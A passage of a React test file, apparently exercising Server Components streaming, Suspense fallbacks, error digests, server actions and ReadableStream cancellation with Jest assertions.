makeDelayedText(Text);\n    const [Photos, resolvePhotos] = makeDelayedText(Text);\n    const [Games, , rejectGames] = makeDelayedText(Text);\n\n    // View\n    function ProfileDetails({avatar}) {\n      return (\n        <div>\n          <Name>:name:</Name>\n          {avatar}\n        </div>\n      );\n    }\n    function ProfileSidebar({friends}) {\n      return (\n        <div>\n          <Photos>:photos:</Photos>\n          {friends}\n        </div>\n      );\n    }\n    function ProfilePosts({posts}) {\n      return <div>{posts}</div>;\n    }\n    function ProfileGames({games}) {\n      return <div>{games}</div>;\n    }\n\n    const MyErrorBoundaryClient = clientExports(MyErrorBoundary);\n\n    function ProfileContent() {\n      return (\n        <>\n          <ProfileDetails avatar={<Text>:avatar:</Text>} />\n          <Suspense fallback={<p>(loading sidebar)</p>}>\n            <ProfileSidebar friends={<Friends>:friends:</Friends>} />\n          </Suspense>\n          <Suspense fallback={<p>(loading posts)</p>}>\n            <ProfilePosts posts={<Posts>:posts:</Posts>} />\n          </Suspense>\n          <MyErrorBoundaryClient>\n            <Suspense fallback={<p>(loading games)</p>}>\n              <ProfileGames games={<Games>:games:</Games>} />\n            </Suspense>\n          </MyErrorBoundaryClient>\n        </>\n      );\n    }\n\n    const model = {\n      rootContent: <ProfileContent />,\n    };\n\n    function ProfilePage({response}) {\n      return use(response).rootContent;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model, webpackMap, {\n        onError(x) {\n          reportedErrors.push(x);\n          return __DEV__ ? `a dev digest` : `digest(\"${x.message}\")`;\n        },\n      }),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Suspense fallback={<p>(loading)</p>}>\n          <ProfilePage response={response} />\n        </Suspense>,\n      );\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    // This isn't enough to show anything.\n    await serverAct(async () => {\n      await act(() => {\n        resolveFriends();\n      });\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    // We can now show the details. Sidebar and posts are still loading.\n    await serverAct(async () => {\n      await act(() => {\n        resolveName();\n      });\n    });\n    // Advance time enough to trigger a nested fallback.\n    jest.advanceTimersByTime(500);\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<p>(loading sidebar)</p>' +\n        '<p>(loading posts)</p>' +\n        '<p>(loading games)</p>',\n    );\n\n    expect(reportedErrors).toEqual([]);\n\n    const theError = new Error('Game over');\n    // Let's *fail* loading games.\n    await serverAct(async () => {\n      await act(() => {\n        rejectGames(theError);\n      });\n    });\n\n    const gamesExpectedValue = __DEV__\n      ? '<p>Game over + a dev digest</p>'\n      : '<p>digest(\"Game over\")</p>';\n\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<p>(loading sidebar)</p>' +\n        '<p>(loading posts)</p>' +\n        gamesExpectedValue,\n    );\n\n    expect(reportedErrors).toEqual([theError]);\n    reportedErrors = [];\n\n    // We can now show the sidebar.\n    await serverAct(async () => {\n      await act(() => {\n        resolvePhotos();\n      });\n    });\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<div>:photos::friends:</div>' +\n        '<p>(loading posts)</p>' +\n        gamesExpectedValue,\n    );\n\n    // Show everything.\n    await serverAct(async () => {\n      await act(() => {\n        resolvePosts();\n      });\n    });\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<div>:photos::friends:</div>' +\n        '<div>:posts:</div>' +\n        gamesExpectedValue,\n    );\n\n    expect(reportedErrors).toEqual([]);\n  });\n\n  it('should close the stream upon completion when rendering to W3C streams', async () => {\n    // Model\n    function Text({children}) {\n      return children;\n    }\n\n    const [Friends, resolveFriends] = makeDelayedText(Text);\n    const [Name, resolveName] = makeDelayedText(Text);\n    const [Posts, resolvePosts] = makeDelayedText(Text);\n    const [Photos, resolvePhotos] = makeDelayedText(Text);\n\n    // View\n    function ProfileDetails({avatar}) {\n      return (\n        <div>\n          <Name>:name:</Name>\n          {avatar}\n        </div>\n      );\n    }\n    function ProfileSidebar({friends}) {\n      return (\n        <div>\n          <Photos>:photos:</Photos>\n          {friends}\n        </div>\n      );\n    }\n    function ProfilePosts({posts}) {\n      return <div>{posts}</div>;\n    }\n\n    function ProfileContent() {\n      return (\n        <Suspense fallback=\"(loading everything)\">\n          <ProfileDetails avatar={<Text>:avatar:</Text>} />\n          <Suspense fallback={<p>(loading sidebar)</p>}>\n            <ProfileSidebar friends={<Friends>:friends:</Friends>} />\n          </Suspense>\n          <Suspense fallback={<p>(loading posts)</p>}>\n            <ProfilePosts posts={<Posts>:posts:</Posts>} />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    const model = {\n      rootContent: <ProfileContent />,\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model, webpackMap),\n    );\n\n    const reader = stream.getReader();\n    const decoder = new TextDecoder();\n\n    let flightResponse = '';\n    let isDone = false;\n\n    reader.read().then(function progress({done, value}) {\n      if (done) {\n        isDone = true;\n        return;\n      }\n\n      flightResponse += decoder.decode(value);\n\n      return reader.read().then(progress);\n    });\n\n    // Advance time enough to trigger a nested fallback.\n    jest.advanceTimersByTime(500);\n\n    await serverAct(() => {});\n\n    expect(flightResponse).toContain('(loading everything)');\n    expect(flightResponse).toContain('(loading sidebar)');\n    expect(flightResponse).toContain('(loading posts)');\n    if (!__DEV__) {\n      expect(flightResponse).not.toContain(':friends:');\n      expect(flightResponse).not.toContain(':name:');\n    }\n\n    await serverAct(() => {\n      resolveFriends();\n    });\n\n    expect(flightResponse).toContain(':friends:');\n\n    await serverAct(() => {\n      resolveName();\n    });\n\n    expect(flightResponse).toContain(':name:');\n\n    await serverAct(() => {\n      resolvePhotos();\n    });\n\n    expect(flightResponse).toContain(':photos:');\n\n    await serverAct(() => {\n      resolvePosts();\n    });\n\n    expect(flightResponse).toContain(':posts:');\n\n    // Final pending chunk is written; stream should be closed.\n    expect(isDone).toBeTruthy();\n  });\n\n  it('should be able to complete after aborting and throw the reason client-side', async () => {\n    const reportedErrors = [];\n\n    let errorBoundaryFn;\n    if (__DEV__) {\n      errorBoundaryFn = e => (\n        <p>\n          {e.message} + {e.digest}\n        </p>\n      );\n    } else {\n      errorBoundaryFn = e => {\n        expect(e.message).toBe(\n          'An error occurred in the Server Components render. The specific message is omitted in production' +\n            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n            ' may provide additional details about the nature of the error.',\n        );\n        return <p>{e.digest}</p>;\n      };\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.props.fallback(this.state.error);\n        }\n        return this.props.children;\n      }\n    }\n\n    const controller = new AbortController();\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <div>\n          <InfiniteSuspend />\n        </div>,\n        webpackMap,\n        {\n          signal: controller.signal,\n          onError(x) {\n            const message = typeof x === 'string' ? x : x.message;\n            reportedErrors.push(x);\n            return __DEV__ ? 'a dev digest' : `digest(\"${message}\")`;\n          },\n        },\n      ),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App({res}) {\n      return use(res);\n    }\n\n    await act(() => {\n      root.render(\n        <ErrorBoundary fallback={errorBoundaryFn}>\n          <Suspense fallback={<p>(loading)</p>}>\n            <App res={response} />\n          </Suspense>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    await act(() => {\n      controller.abort('for reasons');\n    });\n    const expectedValue = __DEV__\n      ? '<p>for reasons + a dev digest</p>'\n      : '<p>digest(\"for reasons\")</p>';\n    expect(container.innerHTML).toBe(expectedValue);\n\n    expect(reportedErrors).toEqual(['for reasons']);\n  });\n\n  it('should warn in DEV a child is missing keys', async () => {\n    function ParentClient({children}) {\n      return children;\n    }\n    const Parent = clientExports(ParentClient);\n    const ParentModule = clientExports({Parent: ParentClient});\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <>\n          <Parent>{Array(6).fill(<div>no key</div>)}</Parent>\n          <ParentModule.Parent>\n            {Array(6).fill(<div>no key</div>)}\n          </ParentModule.Parent>\n        </>,\n        webpackMap,\n      ),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(stream);\n\n    await act(() => {\n      root.render(result);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the top-level render call using <ParentClient>. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('basic use(promise)', async () => {\n    function Server() {\n      return (\n        ReactServer.use(Promise.resolve('A')) +\n        ReactServer.use(Promise.resolve('B')) +\n        ReactServer.use(Promise.resolve('C'))\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    function Client() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Suspense fallback=\"Loading...\">\n          <Client />\n        </Suspense>,\n      );\n    });\n    expect(container.innerHTML).toBe('ABC');\n  });\n\n  it('use(promise) in multiple components', async () => {\n    function Child({prefix}) {\n      return (\n        prefix +\n        ReactServer.use(Promise.resolve('C')) +\n        ReactServer.use(Promise.resolve('D'))\n      );\n    }\n\n    function Parent() {\n      return (\n        <Child\n          prefix={\n            ReactServer.use(Promise.resolve('A')) +\n            ReactServer.use(Promise.resolve('B'))\n          }\n        />\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Parent />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    function Client() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Suspense fallback=\"Loading...\">\n          <Client />\n        </Suspense>,\n      );\n    });\n    expect(container.innerHTML).toBe('ABCD');\n  });\n\n  it('using a rejected promise will throw', async () => {\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.reject(new Error('Oops!'));\n    const promiseC = Promise.resolve('C');\n\n    // Jest/Node will raise an unhandled rejected error unless we await this. It\n    // works fine in the browser, though.\n    await expect(promiseB).rejects.toThrow('Oops!');\n\n    function Server() {\n      return (\n        ReactServer.use(promiseA) +\n        ReactServer.use(promiseB) +\n        ReactServer.use(promiseC)\n      );\n    }\n\n    const reportedErrors = [];\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap, {\n        onError(x) {\n          reportedErrors.push(x);\n          return __DEV__ ? 'a dev digest' : `digest(\"${x.message}\")`;\n        },\n      }),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return __DEV__\n            ? this.state.error.message + ' + ' + this.state.error.digest\n            : this.state.error.digest;\n        }\n        return this.props.children;\n      }\n    }\n\n    function Client() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ErrorBoundary>\n          <Client />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.innerHTML).toBe(\n      __DEV__ ? 'Oops! + a dev digest' : 'digest(\"Oops!\")',\n    );\n    expect(reportedErrors.length).toBe(1);\n    expect(reportedErrors[0].message).toBe('Oops!');\n  });\n\n  it(\"use a promise that's already been instrumented and resolved\", async () => {\n    const thenable = {\n      status: 'fulfilled',\n      value: 'Hi',\n      then() {},\n    };\n\n    // This will never suspend because the thenable already resolved\n    function Server() {\n      return ReactServer.use(thenable);\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    function Client() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Client />);\n    });\n    expect(container.innerHTML).toBe('Hi');\n  });\n\n  it('unwraps thenable that fulfills synchronously without suspending', async () => {\n    function Server() {\n      const thenable = {\n        then(resolve) {\n          // This thenable immediately resolves, synchronously, without waiting\n          // a microtask.\n          resolve('Hi');\n        },\n      };\n      try {\n        return ReactServer.use(thenable);\n      } catch {\n        throw new Error(\n          '`use` should not suspend because the thenable resolved synchronously.',\n        );\n      }\n    }\n\n    // Because the thenable resolves synchronously, we should be able to finish\n    // rendering synchronously, with no fallback.\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    function Client() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Client />);\n    });\n    expect(container.innerHTML).toBe('Hi');\n  });\n\n  it('can pass a higher order function by reference from server to client', async () => {\n    let actionProxy;\n\n    function Client({action}) {\n      actionProxy = action;\n      return 'Click Me';\n    }\n\n    function greet(transform, text) {\n      return 'Hello ' + transform(text);\n    }\n\n    function upper(text) {\n      return text.toUpperCase();\n    }\n\n    const ServerModuleA = serverExports({\n      greet,\n    });\n    const ServerModuleB = serverExports({\n      upper,\n    });\n    const ClientRef = clientExports(Client);\n\n    const boundFn = ServerModuleA.greet.bind(null, ServerModuleB.upper);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef action={boundFn} />,\n        webpackMap,\n      ),\n    );\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(ref, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        return callServer(ref, body);\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(container.innerHTML).toBe('Click Me');\n    expect(typeof actionProxy).toBe('function');\n    expect(actionProxy).not.toBe(boundFn);\n\n    const result = await actionProxy('hi');\n    expect(result).toBe('Hello HI');\n  });\n\n  it('can call a module split server function', async () => {\n    let actionProxy;\n\n    function Client({action}) {\n      actionProxy = action;\n      return 'Click Me';\n    }\n\n    function greet(text) {\n      return 'Hello ' + text;\n    }\n\n    const ServerModule = serverExports({\n      // This gets split into another module\n      split: greet,\n    });\n    const ClientRef = clientExports(Client);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef action={ServerModule.split} />,\n        webpackMap,\n      ),\n    );\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(ref, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        return callServer(ref, body);\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(container.innerHTML).toBe('Click Me');\n    expect(typeof actionProxy).toBe('function');\n\n    const result = await actionProxy('Split');\n    expect(result).toBe('Hello Split');\n  });\n\n  it('can pass a server function by importing from client back to server', async () => {\n    function greet(transform, text) {\n      return 'Hello ' + transform(text);\n    }\n\n    function upper(text) {\n      return text.toUpperCase();\n    }\n\n    const ServerModuleA = serverExports({\n      greet,\n    });\n    const ServerModuleB = serverExports({\n      upper,\n    });\n\n    let actionProxy;\n\n    // This is a Proxy representing ServerModuleB in the Client bundle.\n    const ServerModuleBImportedOnClient = {\n      upper: ReactServerDOMClient.createServerReference(\n        ServerModuleB.upper.$$id,\n        async function (ref, args) {\n          const body = await ReactServerDOMClient.encodeReply(args);\n          return callServer(ref, body);\n        },\n        undefined,\n        undefined,\n        'upper',\n      ),\n    };\n\n    expect(ServerModuleBImportedOnClient.upper.name).toBe(\n      __DEV__ ? 'upper' : 'action',\n    );\n    if (__DEV__) {\n      expect(ServerModuleBImportedOnClient.upper.toString()).toBe(\n        '(...args) => server(...args)',\n      );\n    }\n\n    function Client({action}) {\n      // Client side pass a Server Reference into an action.\n      actionProxy = text => action(ServerModuleBImportedOnClient.upper, text);\n      return 'Click Me';\n    }\n\n    const ClientRef = clientExports(Client);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef action={ServerModuleA.greet} />,\n        webpackMap,\n      ),\n    );\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(ref, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        return callServer(ref, body);\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(container.innerHTML).toBe('Click Me');\n\n    const result = await actionProxy('hi');\n    expect(result).toBe('Hello HI');\n  });\n\n  it('can bind arguments to a server reference', async () => {\n    let actionProxy;\n\n    function Client({action}) {\n      actionProxy = action;\n      return 'Click Me';\n    }\n\n    const greet = serverExports(function greet(a, b, c) {\n      return a + ' ' + b + c;\n    });\n    const ClientRef = clientExports(Client);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef action={greet.bind(null, 'Hello').bind(null, 'World')} />,\n        webpackMap,\n      ),\n    );\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(actionId, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        return callServer(actionId, body);\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(container.innerHTML).toBe('Click Me');\n    expect(typeof actionProxy).toBe('function');\n    expect(actionProxy).not.toBe(greet);\n\n    const result = await actionProxy('!');\n    expect(result).toBe('Hello World!');\n  });\n\n  it('propagates server reference errors to the client', async () => {\n    let actionProxy;\n\n    function Client({action}) {\n      actionProxy = action;\n      return 'Click Me';\n    }\n\n    async function send(text) {\n      throw new Error(`Error for ${text}`);\n    }\n\n    const ServerModule = serverExports({send});\n    const ClientRef = clientExports(Client);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef action={ServerModule.send} />,\n        webpackMap,\n      ),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(actionId, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        const result = callServer(actionId, body);\n        // Flight doesn't attach error handlers early enough. we suppress the warning\n        // by putting a dummy catch on the result here\n        result.catch(() => {});\n        return ReactServerDOMClient.createFromReadableStream(\n          ReactServerDOMServer.renderToReadableStream(result, null, {\n            onError: error => 'test-error-digest',\n          }),\n        );\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    let thrownError;\n\n    try {\n      await serverAct(() => actionProxy('test'));\n    } catch (error) {\n      thrownError = error;\n    }\n\n    if (__DEV__) {\n      expect(thrownError).toEqual(new Error('Error for test'));\n    } else {\n      expect(thrownError).toEqual(\n        new Error(\n          'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.',\n        ),\n      );\n\n      expect(thrownError.digest).toBe('test-error-digest');\n    }\n  });\n\n  it('can use the same function twice as a server action', async () => {\n    let actionProxy1;\n    let actionProxy2;\n\n    function Client({action1, action2}) {\n      actionProxy1 = action1;\n      actionProxy2 = action2;\n      return 'Click Me';\n    }\n\n    function greet(text) {\n      return 'Hello ' + text;\n    }\n\n    const ServerModule = serverExports({\n      greet,\n      greet2: greet,\n    });\n    const ClientRef = clientExports(Client);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientRef\n          action1={ServerModule.greet}\n          action2={ServerModule.greet2}\n        />,\n        webpackMap,\n      ),\n    );\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      async callServer(ref, args) {\n        const body = await ReactServerDOMClient.encodeReply(args);\n        return callServer(ref, body);\n      },\n    });\n\n    function App() {\n      return use(response);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(container.innerHTML).toBe('Click Me');\n    expect(typeof actionProxy1).toBe('function');\n    expect(actionProxy1).not.toBe(greet);\n\n    // TODO: Ideally flight would be encoding this the same.\n    expect(actionProxy1).not.toBe(actionProxy2);\n\n    const result = await actionProxy1('world');\n    expect(result).toBe('Hello world');\n  });\n\n  it('can pass an async server exports that resolves later to an outline object like a Map', async () => {\n    let resolve;\n    const chunkPromise = new Promise(r => (resolve = r));\n\n    function action() {}\n    const serverModule = serverExports(\n      {\n        action: action,\n      },\n      chunkPromise,\n    );\n\n    // Send the action to the client\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {action: serverModule.action},\n        webpackMap,\n      ),\n    );\n\n    // Snapshot updates change this formatting, so we let prettier ignore it.\n    // prettier-ignore\n    const response =\n      await ReactServerDOMClient.createFromReadableStream(stream);\n\n    // Pass the action back to the server inside a Map\n\n    const map = new Map();\n    map.set('action', response.action);\n\n    const body = await ReactServerDOMClient.encodeReply(map);\n    const resultPromise = ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    // We couldn't yet resolve the server reference because we haven't loaded\n    // its chunk yet in the new server instance. We now resolve it which loads\n    // it asynchronously.\n    await resolve();\n\n    const result = await resultPromise;\n    expect(result instanceof Map).toBe(true);\n    expect(result.get('action')).toBe(action);\n  });\n\n  it('supports Float hints before the first await in server components in Fiber', async () => {\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent() {\n      ReactServerDOM.preload('before', {as: 'style'});\n      await 1;\n      ReactServerDOM.preload('after', {as: 'style'});\n      return <ClientComponent />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response = ReactServerDOMClient.createFromReadableStream(stream);\n      }\n      return response;\n    }\n\n    function App() {\n      return getResponse();\n    }\n\n    // pausing to let Flight runtime tick. This is a test only artifact of the fact that\n    // we aren't operating separate module graphs for flight and fiber. In a real app\n    // each would have their own dispatcher and there would be no cross dispatching.\n    await 1;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(document.head.innerHTML).toBe(\n      gate(f => f.www)\n        ? // The www entrypoints for ReactDOM and ReactDOMClient are unified so even\n          // when you pull in just the top level the dispatcher for the Document is\n          // loaded alongside it. In a normal environment there would be nothing to dispatch to\n          // in a server environment so the preload calls would still only be dispatched to fizz\n          // or the browser but not both. However in this contrived test environment the preloads\n          // are being dispatched simultaneously causing an extraneous preload to show up. This test currently\n          // asserts this be demonstrating that the preload call after the await point\n          // is written to the document before the call before it. We still demonstrate that\n          // flight handled the sync call because if the fiber implementation did it would appear\n          // before the after call. In the future we will change this assertion once the fiber\n          // implementation no long automatically gets pulled in\n          '<link rel=\"preload\" href=\"after\" as=\"style\"><link rel=\"preload\" href=\"before\" as=\"style\">'\n        : // For other release channels the client and isomorphic entrypoints are separate and thus we only\n          // observe the expected preload from before the first await\n          '<link rel=\"preload\" href=\"before\" as=\"style\">',\n    );\n    expect(container.innerHTML).toBe('<p>hello world</p>');\n  });\n\n  it('Does not support Float hints in server components anywhere in Fizz', async () => {\n    // In environments that do not support AsyncLocalStorage the Flight client has no ability\n    // to scope hint dispatching to a specific Request. In Fiber this isn't a problem because\n    // the Browser scope acts like a singleton and we can dispatch away. But in Fizz we need to have\n    // a reference to Resources and this is only possible during render unless you support AsyncLocalStorage.\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent() {\n      ReactDOM.preload('before', {as: 'style'});\n      await 1;\n      ReactDOM.preload('after', {as: 'style'});\n      return <ClientComponent />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response = ReactServerDOMClient.createFromReadableStream(stream);\n      }\n      return response;\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>{getResponse()}</body>\n        </html>\n      );\n    }\n\n    let fizzPromise;\n    await act(async () => {\n      fizzPromise = ReactDOMFizzServer.renderToReadableStream(<App />);\n    });\n    const fizzStream = await fizzPromise;\n\n    const decoder = new TextDecoder();\n    const reader = fizzStream.getReader();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        content += decoder.decode();\n        break;\n      }\n      content += decoder.decode(value, {stream: true});\n    }\n\n    expect(content).toEqual(\n      '<!DOCTYPE html><html><head>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/>'\n          : '') +\n        '</head>' +\n        '<body><p>hello world</p>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body></html>',\n    );\n  });\n\n  it('should not continue rendering after the reader cancels', async () => {\n    let hasLoaded = false;\n    let resolve;\n    let rendered = false;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      rendered = true;\n      return 'Done';\n    }\n    const errors = [];\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <Wait />\n          </Suspense>\n        </div>,\n        null,\n        {\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    expect(rendered).toBe(false);\n\n    const reader = stream.getReader();\n    await reader.read();\n    await reader.cancel();\n\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n\n    hasLoaded = true;\n    resolve();\n\n    await jest.runAllTimers();\n\n    expect(rendered).toBe(false);\n\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n  });\n\n  function passThrough(stream) {\n    // Simulate more realistic network by splitting up and rejoining some chunks.\n    // This lets us test that we don't accidentally rely on particular bounds of the chunks.\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        function push() {\n          reader.read().then(({done, value}) => {\n            if (done) {\n              controller.close();\n              return;\n            }\n            controller.enqueue(value);\n            push();\n            return;\n          });\n        }\n        push();\n      },\n    });\n  }\n\n  it('should supports streaming ReadableStream with objects', async () => {\n    const errors = [];\n    let controller1;\n    let controller2;\n    const s1 = new ReadableStream({\n      start(c) {\n        controller1 = c;\n      },\n    });\n    const s2 = new ReadableStream({\n      start(c) {\n        controller2 = c;\n      },\n    });\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          s1,\n          s2,\n        },\n        {},\n        {\n          onError(x) {\n            errors.push(x);\n            return x;\n          },\n        },\n      ),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(rscStream),\n    );\n\n    const reader1 = result.s1.getReader();\n    const reader2 = result.s2.getReader();\n\n    await serverAct(() => {\n      controller1.enqueue({hello: 'world'});\n      controller2.enqueue({hi: 'there'});\n    });\n\n    expect(await reader1.read()).toEqual({\n      value: {hello: 'world'},\n      done: false,\n    });\n    expect(await reader2.read()).toEqual({\n      value: {hi: 'there'},\n      done: false,\n    });\n\n    await serverAct(async () => {\n      controller1.enqueue('text1');\n      controller2.enqueue('text2');\n      controller1.close();\n    });\n\n    expect(await reader1.read()).toEqual({\n      value: 'text1',\n      done: false,\n    });\n    expect(await reader1.read()).toEqual({\n      value: undefined,\n      done: true,\n    });\n    expect(await reader2.read()).toEqual({\n      value: 'text2',\n      done: false,\n    });\n    await serverAct(async () => {\n      controller2.error('rejected');\n    });\n    let error = null;\n    try {\n      await reader2.read();\n    } catch (x) {\n      error = x;\n    }\n    expect(error.digest).toBe('rejected');\n    expect(errors).toEqual(['rejected']);\n  });\n\n  it('should cancels the underlying ReadableStream when we are cancelled', async () => {\n    let controller;\n    let cancelReason;\n    const s = new ReadableStream({\n      start(c) {\n        controller = c;\n      },\n      cancel(r) {\n        cancelReason = r;\n      },\n    });\n    let loggedReason;\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        s,\n        {},\n        {\n          onError(reason) {\n            loggedReason = reason;\n          },\n        },\n      ),\n    );\n    const reader = rscStream.getReader();\n    controller.enqueue('hi');\n    const reason = new Error('aborted');\n    reader.cancel(reason);\n    await reader.read();\n    expect(cancelReason).toBe(reason);\n    expect(loggedReason).toBe(reason);\n  });\n\n  it('should cancels the underlying ReadableStream when we abort', async () => {\n    const errors = [];\n    let controller;\n    let cancelReason;\n    const abortController = new AbortController();\n    const s = new ReadableStream({\n      start(c) {\n        controller = c;\n      },\n      cancel(r) {\n        cancelReason = r;\n      